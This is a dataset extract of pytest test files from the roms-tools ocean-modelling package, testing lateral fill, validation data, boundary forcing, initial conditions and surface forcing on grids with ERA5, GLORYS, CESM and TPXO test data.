YAML header.*", ): Grid.from_yaml(yaml_filepath) yaml_filepath = Path(yaml_filepath) yaml_filepath.unlink()
12,177
Python
.py
342
27.614035
108
0.608311
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,722
test_fill.py
CWorthy-ocean_roms-tools/roms_tools/tests/test_setup/test_fill.py
import pytest from roms_tools.setup.datasets import ( GLORYSDataset, ERA5Dataset, CESMBGCDataset, CESMBGCSurfaceForcingDataset, TPXODataset, ) from roms_tools.setup.download import download_test_data from roms_tools.setup.fill import LateralFill from roms_tools.setup.utils import extrapolate_deepest_to_bottom from datetime import datetime import numpy as np import xarray as xr @pytest.fixture() def era5_data(request, use_dask): fname = download_test_data("ERA5_regional_test_data.nc") data = ERA5Dataset( filename=fname, start_time=datetime(2020, 1, 31), end_time=datetime(2020, 2, 2), use_dask=use_dask, ) return data @pytest.fixture() def glorys_data(request, use_dask): # the following GLORYS data has a wide enough domain # to have different masks for tracers vs. velocities fname = download_test_data("GLORYS_test_data.nc") data = GLORYSDataset( filename=fname, start_time=datetime(2012, 1, 1), end_time=datetime(2013, 1, 1), use_dask=use_dask, ) ds = data.ds.isel(depth=[0, 10, 30]) object.__setattr__(data, "ds", ds) # extrapolate deepest value to bottom so all levels can use the same surface mask for var in data.var_names: if var != "zeta": data.ds[data.var_names[var]] = extrapolate_deepest_to_bottom( data.ds[data.var_names[var]], data.dim_names["depth"] ) return data @pytest.fixture() def tpxo_data(request, use_dask): fname = download_test_data("TPXO_regional_test_data.nc") data = TPXODataset( filename=fname, use_dask=use_dask, ) return data @pytest.fixture() def cesm_bgc_data(request, use_dask): fname = download_test_data("CESM_BGC_2012.nc") data = CESMBGCDataset( filename=fname, start_time=datetime(2012, 1, 1), end_time=datetime(2013, 1, 1), climatology=False, use_dask=use_dask, ) # extrapolate deepest value to bottom so all levels can use the same surface mask for var in data.var_names: data.ds[data.var_names[var]] = extrapolate_deepest_to_bottom( data.ds[data.var_names[var]], data.dim_names["depth"] ) return data @pytest.fixture() def cesm_surface_bgc_data(request, use_dask): fname = download_test_data("CESM_BGC_SURFACE_2012.nc") data = CESMBGCSurfaceForcingDataset( filename=fname, start_time=datetime(2012, 1, 1), end_time=datetime(2013, 1, 1), climatology=False, use_dask=use_dask, ) data.post_process() return data @pytest.mark.parametrize( "data_fixture", ["era5_data", "glorys_data", "tpxo_data", "cesm_bgc_data", "cesm_surface_bgc_data"], ) def test_lateral_fill_no_nans(data_fixture, request): data = request.getfixturevalue(data_fixture) lateral_fill = LateralFill( data.ds["mask"], [data.dim_names["latitude"], data.dim_names["longitude"]], ) if "mask_vel" in data.ds.data_vars: lateral_fill_vel = LateralFill( data.ds["mask_vel"], [data.dim_names["latitude"], data.dim_names["longitude"]], ) for var in data.var_names: if var in ["u", "v"]: filled = lateral_fill_vel.apply( data.ds[data.var_names[var]].astype(np.float64) ) else: filled = lateral_fill.apply(data.ds[data.var_names[var]].astype(np.float64)) assert not filled.isnull().any() def test_lateral_fill_correct_order_of_magnitude(cesm_bgc_data): lateral_fill = LateralFill( cesm_bgc_data.ds["mask"], [cesm_bgc_data.dim_names["latitude"], cesm_bgc_data.dim_names["longitude"]], ) ALK = cesm_bgc_data.ds["ALK"] # zero out alkalinity field in all depth levels but the uppermost ALK = xr.where(cesm_bgc_data.ds.ALK.depth > 25, 0, cesm_bgc_data.ds.ALK) ALK = ALK.where(cesm_bgc_data.ds.mask) filled = lateral_fill.apply(ALK.astype(np.float64)) # check that alkalinity values in the uppermost values are of the correct order of magnitude # and that no new minima and maxima are introduced assert filled.isel(depth=0).min() == ALK.isel(depth=0).min() assert filled.isel(depth=0).max() == ALK.isel(depth=0).max() # check that the filled alkalinity values are zero in all deeper layers assert filled.isel(depth=slice(1, None)).equals( xr.zeros_like(filled.isel(depth=slice(1, None))) ) @pytest.mark.parametrize( "data_fixture", [ "era5_data", "glorys_data", ], ) def test_lateral_fill_reproducibility(data_fixture, request): data = request.getfixturevalue(data_fixture) lateral_fill0 = LateralFill( data.ds["mask"], [data.dim_names["latitude"], data.dim_names["longitude"]], ) if "mask_vel" in data.ds.data_vars: lateral_fill_vel0 = LateralFill( data.ds["mask_vel"], [data.dim_names["latitude"], data.dim_names["longitude"]], ) lateral_fill1 = LateralFill( data.ds["mask"], [data.dim_names["latitude"], data.dim_names["longitude"]], ) if "mask_vel" in data.ds.data_vars: lateral_fill_vel1 = LateralFill( data.ds["mask_vel"], [data.dim_names["latitude"], data.dim_names["longitude"]], ) ds0 = data.ds.copy() ds1 = data.ds.copy() for var in data.var_names: if var in ["u", "v"]: ds0[data.var_names[var]] = lateral_fill_vel0.apply( ds0[data.var_names[var]].astype(np.float64) ) ds1[data.var_names[var]] = lateral_fill_vel1.apply( ds1[data.var_names[var]].astype(np.float64) ) else: ds0[data.var_names[var]] = lateral_fill0.apply( ds0[data.var_names[var]].astype(np.float64) ) ds1[data.var_names[var]] = lateral_fill1.apply( ds1[data.var_names[var]].astype(np.float64) ) assert ds0.equals(ds1)
6,100
Python
.py
166
29.650602
96
0.634883
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,723
test_validation.py
CWorthy-ocean_roms-tools/roms_tools/tests/test_setup/test_validation.py
import pytest import os import shutil import xarray as xr def _get_fname(name): dirname = os.path.dirname(__file__) return os.path.join(dirname, "test_data", f"{name}.zarr") @pytest.mark.parametrize( "forcing_fixture", [ "grid", "grid_that_straddles_dateline", "tidal_forcing", "initial_conditions_with_bgc_from_climatology", "surface_forcing", "coarse_surface_forcing", "corrected_surface_forcing", "bgc_surface_forcing", "bgc_surface_forcing_from_climatology", "boundary_forcing", "bgc_boundary_forcing_from_climatology", ], ) # this test will not be run by default # to run it and overwrite the test data, invoke pytest as follows # pytest --overwrite=tidal_forcing --overwrite=boundary_forcing def test_save_results(forcing_fixture, request): overwrite = request.config.getoption("--overwrite") # Skip the test if the fixture isn't marked for overwriting, unless 'all' is specified if "all" not in overwrite and forcing_fixture not in overwrite: pytest.skip(f"Skipping overwrite for {forcing_fixture}") forcing = request.getfixturevalue(forcing_fixture) fname = _get_fname(forcing_fixture) # Check if the Zarr directory exists and delete it if it does if os.path.exists(fname): shutil.rmtree(fname) forcing.ds.to_zarr(fname) @pytest.mark.parametrize( "forcing_fixture", [ "grid", "grid_that_straddles_dateline", "tidal_forcing", "initial_conditions_with_bgc_from_climatology", "surface_forcing", "coarse_surface_forcing", "corrected_surface_forcing", "bgc_surface_forcing", "bgc_surface_forcing_from_climatology", "boundary_forcing", "bgc_boundary_forcing_from_climatology", ], ) def test_check_results(forcing_fixture, request): fname = _get_fname(forcing_fixture) expected_forcing_ds = xr.open_zarr(fname, decode_timedelta=False) forcing = request.getfixturevalue(forcing_fixture) xr.testing.assert_allclose(forcing.ds, expected_forcing_ds, rtol=1.0e-5)
2,146
Python
.py
58
31.068966
90
0.689489
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,724
test_boundary_forcing.py
CWorthy-ocean_roms-tools/roms_tools/tests/test_setup/test_boundary_forcing.py
import pytest from datetime import datetime from roms_tools import BoundaryForcing import textwrap from roms_tools.setup.download import download_test_data from conftest import calculate_file_hash from pathlib import Path def test_boundary_forcing_creation(boundary_forcing): """Test the creation of the BoundaryForcing object.""" fname = download_test_data("GLORYS_coarse_test_data.nc") assert boundary_forcing.start_time == datetime(2021, 6, 29) assert boundary_forcing.end_time == datetime(2021, 6, 30) assert boundary_forcing.source == { "name": "GLORYS", "path": fname, "climatology": False, } assert boundary_forcing.model_reference_date == datetime(2000, 1, 1) assert boundary_forcing.boundaries == { "south": True, "east": True, "north": True, "west": True, } assert boundary_forcing.ds.source == "GLORYS" for direction in ["south", "east", "north", "west"]: assert f"temp_{direction}" in boundary_forcing.ds assert f"salt_{direction}" in boundary_forcing.ds assert f"u_{direction}" in boundary_forcing.ds assert f"v_{direction}" in boundary_forcing.ds assert f"zeta_{direction}" in boundary_forcing.ds assert len(boundary_forcing.ds.bry_time) == 1 assert boundary_forcing.ds.coords["bry_time"].attrs["units"] == "days" assert not hasattr(boundary_forcing.ds, "climatology") def test_boundary_forcing_creation_with_bgc(bgc_boundary_forcing_from_climatology): """Test the creation of the BoundaryForcing object.""" fname_bgc = download_test_data("CESM_regional_coarse_test_data_climatology.nc") assert bgc_boundary_forcing_from_climatology.start_time == datetime(2021, 6, 29) assert bgc_boundary_forcing_from_climatology.end_time == datetime(2021, 6, 30) assert bgc_boundary_forcing_from_climatology.source == { "path": fname_bgc, "name": "CESM_REGRIDDED", "climatology": True, } assert bgc_boundary_forcing_from_climatology.model_reference_date == datetime( 2000, 1, 1 ) assert bgc_boundary_forcing_from_climatology.boundaries == { "south": True, "east": True, "north": True, "west": True, } assert bgc_boundary_forcing_from_climatology.ds.source == "CESM_REGRIDDED" for direction in ["south", "east", "north", "west"]: for var in ["ALK", "PO4"]: assert f"{var}_{direction}" in bgc_boundary_forcing_from_climatology.ds assert len(bgc_boundary_forcing_from_climatology.ds.bry_time) == 12 assert ( bgc_boundary_forcing_from_climatology.ds.coords["bry_time"].attrs["units"] == "days" ) assert hasattr(bgc_boundary_forcing_from_climatology.ds, "climatology") def test_boundary_forcing_plot_save(boundary_forcing, tmp_path): """Test plot and save methods.""" boundary_forcing.plot(varname="temp_south", layer_contours=True) boundary_forcing.plot(varname="temp_east", layer_contours=True) boundary_forcing.plot(varname="temp_north", layer_contours=True) boundary_forcing.plot(varname="temp_west", layer_contours=True) boundary_forcing.plot(varname="zeta_south") boundary_forcing.plot(varname="zeta_east") boundary_forcing.plot(varname="zeta_north") boundary_forcing.plot(varname="zeta_west") boundary_forcing.plot(varname="vbar_north") boundary_forcing.plot(varname="ubar_west") for file_str in ["test_bf", "test_bf.nc"]: # Create a temporary filepath using the tmp_path fixture for filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str # Test saving without partitioning saved_filenames = boundary_forcing.save(filepath) filepath_str = str(Path(filepath).with_suffix("")) expected_filepath = Path(f"{filepath_str}_202106.nc") assert saved_filenames == [expected_filepath] assert expected_filepath.exists() expected_filepath.unlink() # Test saving with partitioning saved_filenames = boundary_forcing.save(filepath, np_eta=2) expected_filepath_list = [ Path(filepath_str + f"_202106.{index}.nc") for index in range(2) ] assert saved_filenames == expected_filepath_list for expected_filepath in expected_filepath_list: assert expected_filepath.exists() expected_filepath.unlink() def test_bgc_boundary_forcing_plot_save( bgc_boundary_forcing_from_climatology, tmp_path ): """Test plot and save methods.""" bgc_boundary_forcing_from_climatology.plot(varname="ALK_south") bgc_boundary_forcing_from_climatology.plot(varname="ALK_east") bgc_boundary_forcing_from_climatology.plot(varname="ALK_north") bgc_boundary_forcing_from_climatology.plot(varname="ALK_west") for file_str in ["test_bf", "test_bf.nc"]: # Create a temporary filepath using the tmp_path fixture for filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str # Test saving without partitioning saved_filenames = bgc_boundary_forcing_from_climatology.save(filepath) filepath_str = str(Path(filepath).with_suffix("")) expected_filepath = Path(f"{filepath_str}_clim.nc") assert saved_filenames == [expected_filepath] assert expected_filepath.exists() expected_filepath.unlink() # Test saving with partitioning saved_filenames = bgc_boundary_forcing_from_climatology.save( filepath, np_xi=2 ) expected_filepath_list = [ Path(filepath_str + f"_clim.{index}.nc") for index in range(2) ] assert saved_filenames == expected_filepath_list for expected_filepath in expected_filepath_list: assert expected_filepath.exists() expected_filepath.unlink() @pytest.mark.parametrize( "bdry_forcing_fixture", [ "boundary_forcing", "bgc_boundary_forcing_from_climatology", ], ) def test_roundtrip_yaml(bdry_forcing_fixture, request, tmp_path, use_dask): """Test that creating a BoundaryForcing object, saving its parameters to yaml file, and re-opening yaml file creates the same object.""" bdry_forcing = request.getfixturevalue(bdry_forcing_fixture) # Create a temporary filepath using the tmp_path fixture file_str = "test_yaml" for filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str bdry_forcing.to_yaml(filepath) bdry_forcing_from_file = BoundaryForcing.from_yaml(filepath, use_dask=use_dask) assert bdry_forcing == bdry_forcing_from_file filepath = Path(filepath) filepath.unlink() def test_files_have_same_hash(boundary_forcing, tmp_path, use_dask): yaml_filepath = tmp_path / "test_yaml_.yaml" filepath1 = tmp_path / "test1.nc" filepath2 = tmp_path / "test2.nc" boundary_forcing.to_yaml(yaml_filepath) boundary_forcing.save(filepath1) bdry_forcing_from_file = BoundaryForcing.from_yaml(yaml_filepath, use_dask=use_dask) bdry_forcing_from_file.save(filepath2) filepath_str1 = str(Path(filepath1).with_suffix("")) filepath_str2 = str(Path(filepath2).with_suffix("")) expected_filepath1 = f"{filepath_str1}_202106.nc" expected_filepath2 = f"{filepath_str2}_202106.nc" hash1 = calculate_file_hash(expected_filepath1) hash2 = calculate_file_hash(expected_filepath2) assert hash1 == hash2, f"Hashes do not match: {hash1} != {hash2}" yaml_filepath.unlink() Path(expected_filepath1).unlink() Path(expected_filepath2).unlink() def test_files_have_same_hash_clim( bgc_boundary_forcing_from_climatology, tmp_path, use_dask ): yaml_filepath = tmp_path / "test_yaml" filepath1 = tmp_path / "test1.nc" filepath2 = tmp_path / "test2.nc" bgc_boundary_forcing_from_climatology.to_yaml(yaml_filepath) bgc_boundary_forcing_from_climatology.save(filepath1) bdry_forcing_from_file = BoundaryForcing.from_yaml(yaml_filepath, use_dask=use_dask) bdry_forcing_from_file.save(filepath2) filepath_str1 = str(Path(filepath1).with_suffix("")) filepath_str2 = str(Path(filepath2).with_suffix("")) expected_filepath1 = f"{filepath_str1}_clim.nc" expected_filepath2 = f"{filepath_str2}_clim.nc" hash1 = calculate_file_hash(expected_filepath1) hash2 = calculate_file_hash(expected_filepath2) assert hash1 == hash2, f"Hashes do not match: {hash1} != {hash2}" yaml_filepath.unlink() Path(expected_filepath1).unlink() Path(expected_filepath2).unlink() def test_from_yaml_missing_boundary_forcing(tmp_path, request, use_dask): yaml_content = textwrap.dedent( """\ --- roms_tools_version: 0.0.0 --- Grid: nx: 100 ny: 100 size_x: 1800 size_y: 2400 center_lon: -10 center_lat: 61 rot: -20 topography_source: ETOPO5 smooth_factor: 8 hmin: 5.0 rmax: 0.2 """ ) # Create a temporary filepath using the tmp_path fixture file_str = "test_yaml" for yaml_filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str # Write YAML content to file if isinstance(yaml_filepath, Path): yaml_filepath.write_text(yaml_content) else: with open(yaml_filepath, "w") as f: f.write(yaml_content) with pytest.raises( ValueError, match="No BoundaryForcing configuration found in the YAML file." ): BoundaryForcing.from_yaml(yaml_filepath, use_dask=use_dask) yaml_filepath = Path(yaml_filepath) yaml_filepath.unlink()
10,057
Python
.py
227
36.740088
88
0.666018
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,725
test_initial_conditions.py
CWorthy-ocean_roms-tools/roms_tools/tests/test_setup/test_initial_conditions.py
import pytest from datetime import datetime from roms_tools import InitialConditions, Grid import xarray as xr import numpy as np import textwrap from roms_tools.setup.download import download_test_data from roms_tools.setup.datasets import CESMBGCDataset from pathlib import Path from conftest import calculate_file_hash @pytest.mark.parametrize( "ic_fixture", [ "initial_conditions", "initial_conditions_with_bgc", "initial_conditions_with_bgc_from_climatology", ], ) def test_initial_conditions_creation(ic_fixture, request): """Test the creation of the InitialConditions object.""" ic = request.getfixturevalue(ic_fixture) assert ic.ini_time == datetime(2021, 6, 29) assert ic.source == { "name": "GLORYS", "path": download_test_data("GLORYS_coarse_test_data.nc"), "climatology": False, } assert isinstance(ic.ds, xr.Dataset) assert "temp" in ic.ds assert "salt" in ic.ds assert "u" in ic.ds assert "v" in ic.ds assert "zeta" in ic.ds assert ic.ds.coords["ocean_time"].attrs["units"] == "seconds" @pytest.fixture def example_grid(): grid = Grid( nx=2, ny=2, size_x=500, size_y=1000, center_lon=0, center_lat=55, rot=10, N=3, # number of vertical levels theta_s=5.0, # surface control parameter theta_b=2.0, # bottom control parameter hc=250.0, # critical depth ) return grid # Test initialization with missing 'name' in source def test_initial_conditions_missing_physics_name(example_grid, use_dask): with pytest.raises(ValueError, match="`source` must include a 'name'."): InitialConditions( grid=example_grid, ini_time=datetime(2021, 6, 29), source={"path": "physics_data.nc"}, use_dask=use_dask, ) # Test initialization with missing 'path' in source def test_initial_conditions_missing_physics_path(example_grid, use_dask): with pytest.raises(ValueError, match="`source` must include a 'path'."): InitialConditions( grid=example_grid, ini_time=datetime(2021, 6, 29), source={"name": "GLORYS"}, use_dask=use_dask, ) # Test initialization with missing 'name' in bgc_source def test_initial_conditions_missing_bgc_name(example_grid, use_dask): fname = download_test_data("GLORYS_coarse_test_data.nc") with pytest.raises( ValueError, match="`bgc_source` must include a 'name' if it is provided." ): InitialConditions( grid=example_grid, ini_time=datetime(2021, 6, 29), source={"name": "GLORYS", "path": fname}, bgc_source={"path": "bgc_data.nc"}, use_dask=use_dask, ) # Test initialization with missing 'path' in bgc_source def test_initial_conditions_missing_bgc_path(example_grid, use_dask): fname = download_test_data("GLORYS_coarse_test_data.nc") with pytest.raises( ValueError, match="`bgc_source` must include a 'path' if it is provided." ): InitialConditions( grid=example_grid, ini_time=datetime(2021, 6, 29), source={"name": "GLORYS", "path": fname}, bgc_source={"name": "CESM_REGRIDDED"}, use_dask=use_dask, ) # Test default climatology value def test_initial_conditions_default_climatology(example_grid, use_dask): fname = download_test_data("GLORYS_coarse_test_data.nc") initial_conditions = InitialConditions( grid=example_grid, ini_time=datetime(2021, 6, 29), source={"name": "GLORYS", "path": fname}, use_dask=use_dask, ) assert initial_conditions.source["climatology"] is False assert initial_conditions.bgc_source is None def test_initial_conditions_default_bgc_climatology(example_grid, use_dask): fname = download_test_data("GLORYS_coarse_test_data.nc") fname_bgc = download_test_data("CESM_regional_test_data_one_time_slice.nc") initial_conditions = InitialConditions( grid=example_grid, ini_time=datetime(2021, 6, 29), source={"name": "GLORYS", "path": fname}, bgc_source={"name": "CESM_REGRIDDED", "path": fname_bgc}, use_dask=use_dask, ) assert initial_conditions.bgc_source["climatology"] is False def test_interpolation_from_climatology( initial_conditions_with_bgc_from_climatology, use_dask ): fname_bgc = download_test_data("CESM_regional_coarse_test_data_climatology.nc") ds = xr.open_dataset(fname_bgc) # check if interpolated value for Jan 15 is indeed January value from climatology bgc_data = CESMBGCDataset( filename=fname_bgc, start_time=datetime(2012, 1, 15), climatology=True, use_dask=use_dask, apply_post_processing=False, ) assert np.allclose(ds["ALK"].sel(month=1), bgc_data.ds["ALK"], equal_nan=True) # check if interpolated value for Jan 30 is indeed average of January and February value from climatology bgc_data = CESMBGCDataset( filename=fname_bgc, start_time=datetime(2012, 1, 30), climatology=True, use_dask=use_dask, apply_post_processing=False, ) assert np.allclose( 0.5 * (ds["ALK"].sel(month=1) + ds["ALK"].sel(month=2)), bgc_data.ds["ALK"], equal_nan=True, ) def test_initial_conditions_plot_save( initial_conditions_with_bgc_from_climatology, tmp_path ): """Test plot and save methods.""" initial_conditions_with_bgc_from_climatology.plot(varname="temp", s=0) initial_conditions_with_bgc_from_climatology.plot( varname="temp", s=0, depth_contours=True ) initial_conditions_with_bgc_from_climatology.plot( varname="temp", eta=0, layer_contours=True ) initial_conditions_with_bgc_from_climatology.plot( varname="temp", xi=0, layer_contours=True ) initial_conditions_with_bgc_from_climatology.plot(varname="temp", eta=0) initial_conditions_with_bgc_from_climatology.plot(varname="temp", xi=0) initial_conditions_with_bgc_from_climatology.plot(varname="temp", s=0, xi=0) initial_conditions_with_bgc_from_climatology.plot(varname="temp", eta=0, xi=0) initial_conditions_with_bgc_from_climatology.plot( varname="u", s=0, layer_contours=True ) initial_conditions_with_bgc_from_climatology.plot(varname="u", s=0) initial_conditions_with_bgc_from_climatology.plot(varname="u", eta=0) initial_conditions_with_bgc_from_climatology.plot(varname="u", xi=0) initial_conditions_with_bgc_from_climatology.plot( varname="v", s=0, layer_contours=True ) initial_conditions_with_bgc_from_climatology.plot(varname="v", s=0) initial_conditions_with_bgc_from_climatology.plot(varname="v", eta=0) initial_conditions_with_bgc_from_climatology.plot(varname="v", xi=0) initial_conditions_with_bgc_from_climatology.plot(varname="zeta") initial_conditions_with_bgc_from_climatology.plot(varname="ubar") initial_conditions_with_bgc_from_climatology.plot(varname="vbar") initial_conditions_with_bgc_from_climatology.plot(varname="ALK", s=0, xi=0) initial_conditions_with_bgc_from_climatology.plot(varname="ALK", eta=0, xi=0) for file_str in ["test_ic", "test_ic.nc"]: # Create a temporary filepath using the tmp_path fixture for filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str # Test saving without partitioning saved_filenames = initial_conditions_with_bgc_from_climatology.save( filepath ) # Check if the .nc file was created filepath = Path(filepath).with_suffix(".nc") assert saved_filenames == [filepath] assert filepath.exists() # Clean up the .nc file filepath.unlink() # Test saving with partitioning saved_filenames = initial_conditions_with_bgc_from_climatology.save( filepath, np_eta=2 ) filepath_str = str(filepath.with_suffix("")) expected_filepath_list = [ Path(filepath_str + f".{index}.nc") for index in range(2) ] assert saved_filenames == expected_filepath_list for expected_filepath in expected_filepath_list: assert expected_filepath.exists() expected_filepath.unlink() def test_roundtrip_yaml(initial_conditions, tmp_path, use_dask): """Test that creating an InitialConditions object, saving its parameters to yaml file, and re-opening yaml file creates the same object.""" # Create a temporary filepath using the tmp_path fixture file_str = "test_yaml" for filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str initial_conditions.to_yaml(filepath) initial_conditions_from_file = InitialConditions.from_yaml( filepath, use_dask=use_dask ) assert initial_conditions == initial_conditions_from_file filepath = Path(filepath) filepath.unlink() def test_files_have_same_hash(initial_conditions, tmp_path, use_dask): yaml_filepath = tmp_path / "test_yaml.yaml" filepath1 = tmp_path / "test1.nc" filepath2 = tmp_path / "test2.nc" initial_conditions.to_yaml(yaml_filepath) initial_conditions.save(filepath1) ic_from_file = InitialConditions.from_yaml(yaml_filepath, use_dask) ic_from_file.save(filepath2) hash1 = calculate_file_hash(filepath1) hash2 = calculate_file_hash(filepath2) assert hash1 == hash2, f"Hashes do not match: {hash1} != {hash2}" yaml_filepath.unlink() filepath1.unlink() filepath2.unlink() def test_from_yaml_missing_initial_conditions(tmp_path, use_dask): yaml_content = textwrap.dedent( """\ --- roms_tools_version: 0.0.0 --- Grid: nx: 100 ny: 100 size_x: 1800 size_y: 2400 center_lon: -10 center_lat: 61 rot: -20 topography_source: ETOPO5 smooth_factor: 8 hmin: 5.0 rmax: 0.2 """ ) # Create a temporary filepath using the tmp_path fixture file_str = "test_yaml" for yaml_filepath in [ tmp_path / file_str, str(tmp_path / file_str), ]: # test for Path object and str # Write YAML content to file if isinstance(yaml_filepath, Path): yaml_filepath.write_text(yaml_content) else: with open(yaml_filepath, "w") as f: f.write(yaml_content) with pytest.raises( ValueError, match="No InitialConditions configuration found in the YAML file.", ): InitialConditions.from_yaml(yaml_filepath, use_dask) yaml_filepath = Path(yaml_filepath) yaml_filepath.unlink()
11,074
Python
.py
275
32.847273
109
0.655927
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,726
test_surface_forcing.py
CWorthy-ocean_roms-tools/roms_tools/tests/test_setup/test_surface_forcing.py
import pytest from datetime import datetime import xarray as xr from roms_tools import Grid, SurfaceForcing from roms_tools.setup.download import download_test_data import textwrap from pathlib import Path from conftest import calculate_file_hash @pytest.fixture def grid_that_straddles_dateline(): """Fixture for creating a domain that straddles the dateline and lies within the bounds of the regional ERA5 data.""" grid = Grid( nx=20, ny=20, size_x=1800, size_y=2400, center_lon=-10, center_lat=61, rot=20, ) return grid @pytest.fixture def grid_that_straddles_dateline_but_is_too_big_for_regional_test_data(): """Fixture for creating a domain that straddles the dateline but exceeds the bounds of the regional ERA5 data. Centered east of dateline. """ grid = Grid( nx=5, ny=5, size_x=2000, size_y=2400, center_lon=10, center_lat=61, rot=20, ) return grid @pytest.fixture def another_grid_that_straddles_dateline_but_is_too_big_for_regional_test_data(): """Fixture for creating a domain that straddles the dateline but exceeds the bounds of the regional ERA5 data. Centered west of dateline. This one was hard to catch for the nan_check for a long time, but should work now. """ grid = Grid( nx=5, ny=5, size_x=1950, size_y=2400, center_lon=-30, center_lat=61, rot=25, ) return grid @pytest.fixture def grid_that_lies_east_of_dateline_less_than_five_degrees_away(): """Fixture for creating a domain that lies east of Greenwich meridian, but less than 5 degrees away. We care about the 5 degree mark because it decides whether the code handles the longitudes as straddling the dateline or not. """ grid = Grid( nx=5, ny=5, size_x=500, size_y=2000, center_lon=10, center_lat=61, rot=0, ) return grid @pytest.fixture def grid_that_lies_east_of_dateline_more_than_five_degrees_away(): """Fixture for creating a domain that lies east of Greenwich meridian, more than 5 degrees away. We care about the 5 degree mark because it decides whether the code handles the longitudes as straddling the dateline or not. """ grid = Grid( nx=5, ny=5, size_x=500, size_y=2400, center_lon=15, center_lat=61, rot=0, ) return grid @pytest.fixture def grid_that_lies_west_of_dateline_less_than_five_degrees_away(): """Fixture for creating a domain that lies west of Greenwich meridian, less than 5 degrees away. We care about the 5 degree mark because it decides whether the code handles the longitudes as straddling the dateline or not. """ grid = Grid( nx=5, ny=5, size_x=700, size_y=2400, center_lon=-15, center_lat=61, rot=0, ) return grid @pytest.fixture def grid_that_lies_west_of_dateline_more_than_five_degrees_away(): """Fixture for creating a domain that lies west of Greenwich meridian, more than 5 degrees away. We care about the 5 degree mark because it decides whether the code handles the longitudes as straddling the dateline or not. """ grid = Grid( nx=5, ny=5, size_x=1000, size_y=2400, center_lon=-25, center_lat=61, rot=0, ) return grid @pytest.fixture def grid_that_straddles_180_degree_meridian(): """Fixture for creating a domain that straddles 180 degree meridian. This is a good test grid for the global ERA5 data, which comes on an [-180, 180] longitude grid. """ grid = Grid( nx=5, ny=5, size_x=1800, size_y=2400, center_lon=180, center_lat=61, rot=20, ) return grid @pytest.mark.parametrize( "grid_fixture", [ "grid_that_straddles_dateline", "grid_that_lies_east_of_dateline_less_than_five_degrees_away", "grid_that_lies_east_of_dateline_more_than_five_degrees_away", "grid_that_lies_west_of_dateline_less_than_five_degrees_away", "grid_that_lies_west_of_dateline_more_than_five_degrees_away", ], ) def test_successful_initialization_with_regional_data(grid_fixture, request, use_dask): """Test the initialization of SurfaceForcing with regional ERA5 data. This test checks the following: 1. SurfaceForcing object initializes successfully with provided regional data. 2. Attributes such as `start_time`, `end_time`, and `source` are set correctly. 3. The dataset contains expected variables, including "uwnd", "vwnd", "swrad", "lwrad", "Tair", "qair", and "rain". 4. Surface forcing plots for "uwnd", "vwnd", and "rain" are generated without errors. The test is performed twice: - First with the default fine grid. - Then with the coarse grid enabled. """ start_time = datetime(2020, 1, 31) end_time = datetime(2020, 2, 2) fname = download_test_data("ERA5_regional_test_data.nc") grid = request.getfixturevalue(grid_fixture) for use_coarse_grid in [False, True]: sfc_forcing = SurfaceForcing( grid=grid, use_coarse_grid=use_coarse_grid, start_time=start_time, end_time=end_time, source={"name": "ERA5", "path": fname}, use_dask=use_dask, ) assert sfc_forcing.ds is not None assert "uwnd" in sfc_forcing.ds assert "vwnd" in sfc_forcing.ds assert "swrad" in sfc_forcing.ds assert "lwrad" in sfc_forcing.ds assert "Tair" in sfc_forcing.ds assert "qair" in sfc_forcing.ds assert "rain" in sfc_forcing.ds assert sfc_forcing.start_time == start_time assert sfc_forcing.end_time == end_time assert sfc_forcing.type == "physics" assert sfc_forcing.source == { "name": "ERA5", "path": fname, "climatology": False, } assert sfc_forcing.ds.coords["time"].attrs["units"] == "days" if use_coarse_grid: assert sfc_forcing.use_coarse_grid else: assert not sfc_forcing.use_coarse_grid sfc_forcing.plot("uwnd", time=0) sfc_forcing.plot("vwnd", time=0) sfc_forcing.plot("rain", time=0) @pytest.mark.parametrize( "grid_fixture", [ "grid_that_straddles_dateline_but_is_too_big_for_regional_test_data", "another_grid_that_straddles_dateline_but_is_too_big_for_regional_test_data", ], ) def test_nan_detection_initialization_with_regional_data( grid_fixture, request, use_dask ): """Test handling of NaN values during initialization with regional data. Ensures ValueError is raised if NaN values are detected in the dataset. """ start_time = datetime(2020, 1, 31) end_time = datetime(2020, 2, 2) fname = download_test_data("ERA5_regional_test_data.nc") grid = request.getfixturevalue(grid_fixture) for use_coarse_grid in [True, False]: with pytest.raises(ValueError, match="NaN values found"): SurfaceForcing( grid=grid, use_coarse_grid=use_coarse_grid, start_time=start_time, end_time=end_time, source={"name": "ERA5", "path": fname}, use_dask=use_dask, ) def test_no_longitude_intersection_initialization_with_regional_data( grid_that_straddles_180_degree_meridian, use_dask ): """Test initialization of SurfaceForcing with a grid that straddles the 180° meridian. Ensures ValueError is raised when the longitude range does not intersect with the dataset. """ start_time = datetime(2020, 1, 31) end_time = datetime(2020, 2, 2) fname = download_test_data("ERA5_regional_test_data.nc") for use_coarse_grid in [True, False]: with pytest.raises( ValueError, match="Selected longitude range does not intersect with dataset" ): SurfaceForcing( grid=grid_that_straddles_180_degree_meridian, use_coarse_grid=use_coarse_grid, start_time=start_time, end_time=end_time, source={"name": "ERA5", "path": fname}, use_dask=use_dask, ) @pytest.mark.parametrize( "grid_fixture", [ "grid_that_straddles_dateline", "grid_that_lies_east_of_dateline_less_than_five_degrees_away", "grid_that_lies_east_of_dateline_more_than_five_degrees_away", "grid_that_lies_west_of_dateline_less_than_five_degrees_away", "grid_that_lies_west_of_dateline_more_than_five_degrees_away", "grid_that_straddles_dateline_but_is_too_big_for_regional_test_data", 